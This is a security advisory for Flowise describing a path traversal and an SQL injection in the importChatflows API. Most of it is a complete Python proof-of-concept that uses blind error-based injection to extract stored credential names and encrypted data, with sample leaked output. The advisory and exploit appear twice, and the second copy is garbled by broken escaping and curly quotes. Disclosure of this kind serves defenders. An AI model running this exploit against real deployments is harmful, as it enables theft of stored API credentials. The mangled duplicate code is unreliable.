Headline
GHSA-9c4c-g95m-c8cp: FlowiseDB vulnerable to SQL Injection by authenticated users
Summary
import functions are vulnerable.
Details
Authenticated user can call importChatflows API, import json file such as AllChatflows.json
.
but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.
Issue 1 (Bug Type)
- Malicious user creates
AllChatflows.json
file by adding../
and arbitrary path to the chatflow.id of the json file.{ "Chatflows": [ { "id": "../../../../../../apikey", "name": "clickme", "flowData": "{}" } ] }
- Victim download this file, and import this to flowise.
- When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.
Issue 2 (Vulnerability Type) importChatflows API use unsafe SQL Query.
// packages/server/src/services/chatflows/index.ts
const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => {
try {
const appServer = getRunningExpressApp()
// step 1 - check whether file chatflows array is zero
if (newChatflows.length == 0) return
// step 2 - check whether ids are duplicate in database
let ids = '('
let count: number = 0
const lastCount = newChatflows.length - 1
newChatflows.forEach((newChatflow) => {
ids += `'${newChatflow.id}'` // <===== user input
if (lastCount != count) ids += ','
if (lastCount == count) ids += ')'
count += 1
})
const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)
.createQueryBuilder('cf')
.select('cf.id')
.where(`cf.id IN ${ids}`) // <===== here
.getMany()
const foundIds = selectResponse.map((response) => {
return response.id
})
It changes like SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}')
by the code above.
When ') {Malicious SQL Query} --
is passed to newChatflow.id, SQL Injection occurs.
PoC
import argparse
import requests
def import_chatflows(
url: str,
token: str,
payload: dict
):
response = requests.post(
f'{url}/api/v1/chatflows/importchatflows',
headers={
'Authorization': f'Bearer {token}'
# 'Authorization': f'Basic {token}'
},
json=payload
)
return response.json()
def import_normal_data(
api_url: str,
token: str,
normal_data: str
):
data_id = 'aaaaaa'
payload = {
"Chatflows": [
{
"id": data_id,
"name": normal_data,
"flowData": "{}"
}
]
}
import_chatflows(
url=api_url,
token=token,
payload=payload
)
return data_id
def get_character(
api_url: str,
token: str,
data_id: str,
column_name: str,
index: int
):
injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'
def create_payload(
c: int
):
return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "
chatflows_json = {
"Chatflows": [
{
"id": "",
"name": data_id,
"flowData": "{}"
}
]
}
bitbox = [
64, 32, 16, 8, 4, 2, 1
]
character = 0
for bit in bitbox:
payload = create_payload(c=character + bit)
chatflows_json['Chatflows'][0]['id'] = payload
res = import_chatflows(
url=api_url,
token=token,
payload=chatflows_json
)
if 'DOUBLE value is out of range' in res['message']:
# character is more then bit
character += bit
else:
# character is less then bit
character += 0
return chr(character)
def get_length(
api_url: str,
token: str,
data_id: str,
column_name: str
):
injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)'
def create_payload(
c: int
):
return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "
chatflows_json = {
"Chatflows": [
{
"id": "",
"name": data_id,
"flowData": "{}"
}
]
}
column_len = 0
bitbox = [
256, 128, 64, 32, 16, 8, 4, 2, 1
]
for bit in bitbox:
payload = create_payload(c=column_len + bit)
chatflows_json['Chatflows'][0]['id'] = payload
res = import_chatflows(
url=api_url,
token=token,
payload=chatflows_json
)
if 'DOUBLE value is out of range' in res['message']:
# column_len is more then bit
column_len += bit
else:
# column_len is less then bit
column_len += 0
return column_len
def main(
url: str,
token: str
):
api_url = url
column_box = [
'credentialName',
'encryptedData'
]
data_id = import_normal_data(
api_url=api_url,
token=token,
normal_data='flow01'
)
for column_name in column_box:
column_len = get_length(
api_url=api_url,
token=token,
data_id=data_id,
column_name=column_name
)
print(f'[+] {column_name} length is {column_len}')
result = ''
for i in range(column_len):
result += get_character(
api_url=api_url,
token=token,
data_id=data_id,
column_name=column_name,
index=i + 1
)
print(f'[+] {column_name}: {result}')
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument(
'--url',
type=str,
default='http://flowise:3000'
)
parser.add_argument(
'--access',
type=str,
required=True,
help='Get from http://flowise:3000/apikey'
)
m_args = parser.parse_args()
main(
url=m_args.url,
token=m_args.access
)
poc results: encryptedData from flowise database credential table was successfully leaked.
/app # python ex2.py --url http://flowise:3000 --access "blahblah~~~"
[+] credentialName length is 9
[+] credentialName: openAIApi
[+] encryptedData length is 88
[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==
It is recommended to limit all chatflow ids & chat ids to UUID.
Impact
- Database leak
- Lateral Movement
import functions are vulnerable.
Authenticated user can call importChatflows API, import json file such as AllChatflows.json.
but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.
Issue 2 (Vulnerability Type)
importChatflows API use unsafe SQL Query.
It changes like SELECT cf.id FROM cf WHERE cf.id IN (‘{USER-INPUT…}’) by the code above.
When ') {Malicious SQL Query} – is passed to newChatflow.id, SQL Injection occurs.
import argparse import requests
def import_chatflows( url: str, token: str, payload: dict ): response = requests.post( f’{url}/api/v1/chatflows/importchatflows’, headers={ ‘Authorization’: f’Bearer {token}’ # ‘Authorization’: f’Basic {token}’ }, json=payload )
return response.json()
def import_normal_data( api_url: str, token: str, normal_data: str ): data_id = ‘aaaaaa’
payload \= {
"Chatflows": \[
{
"id": data\_id,
"name": normal\_data,
"flowData": "{}"
}
\]
}
import\_chatflows(
url\=api\_url,
token\=token,
payload\=payload
)
return data\_id
def get_character( api_url: str, token: str, data_id: str, column_name: str, index: int ): injection_query = f’(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'
def create\_payload(
c: int
):
return f"{data\_id}') and if (({injection\_query})<{c}, 0, 9e300 \* 9e300); -- "
chatflows\_json \= {
"Chatflows": \[
{
"id": "",
"name": data\_id,
"flowData": "{}"
}
\]
}
bitbox \= \[
64, 32, 16, 8, 4, 2, 1
\]
character \= 0
for bit in bitbox:
payload \= create\_payload(c\=character + bit)
chatflows\_json\['Chatflows'\]\[0\]\['id'\] \= payload
res \= import\_chatflows(
url\=api\_url,
token\=token,
payload\=chatflows\_json
)
if 'DOUBLE value is out of range' in res\['message'\]:
\# character is more then bit
character += bit
else:
\# character is less then bit
character += 0
return chr(character)
def get_length( api_url: str, token: str, data_id: str, column_name: str ): injection_query = f’(SELECT length({column_name}) FROM credential limit 0,1)'
def create\_payload(
c: int
):
return f"{data\_id}') and if (({injection\_query})<{c}, 0, 9e300 \* 9e300); -- "
chatflows\_json \= {
"Chatflows": \[
{
"id": "",
"name": data\_id,
"flowData": "{}"
}
\]
}
column\_len \= 0
bitbox \= \[
256, 128, 64, 32, 16, 8, 4, 2, 1
\]
for bit in bitbox:
payload \= create\_payload(c\=column\_len + bit)
chatflows\_json\['Chatflows'\]\[0\]\['id'\] \= payload
res \= import\_chatflows(
url\=api\_url,
token\=token,
payload\=chatflows\_json
)
if 'DOUBLE value is out of range' in res\['message'\]:
\# column\_len is more then bit
column\_len += bit
else:
\# column\_len is less then bit
column\_len += 0
return column\_len
def main( url: str, token: str ): api_url = url
column\_box \= \[
'credentialName',
'encryptedData'
\]
data\_id \= import\_normal\_data(
api\_url\=api\_url,
token\=token,
normal\_data\='flow01'
)
for column\_name in column\_box:
column\_len \= get\_length(
api\_url\=api\_url,
token\=token,
data\_id\=data\_id,
column\_name\=column\_name
)
print(f'\[+\] {column\_name} length is {column\_len}')
result \= ''
for i in range(column\_len):
result += get\_character(
api\_url\=api\_url,
token\=token,
data\_id\=data\_id,
column\_name\=column\_name,
index\=i + 1
)
print(f'\[+\] {column\_name}: {result}')
if __name__ == '__main__’: parser = argparse.ArgumentParser() parser.add_argument( ‘–url’, type=str, default=’http://flowise:3000’ ) parser.add_argument( ‘–access’, type=str, required=True, help=’Get from http://flowise:3000/apikey’ )
m\_args \= parser.parse\_args()
main(
url\=m\_args.url,
token\=m\_args.access
)
poc results: encryptedData from flowise database credential table was successfully leaked.
It is recommended to limit all chatflow ids & chat ids to UUID.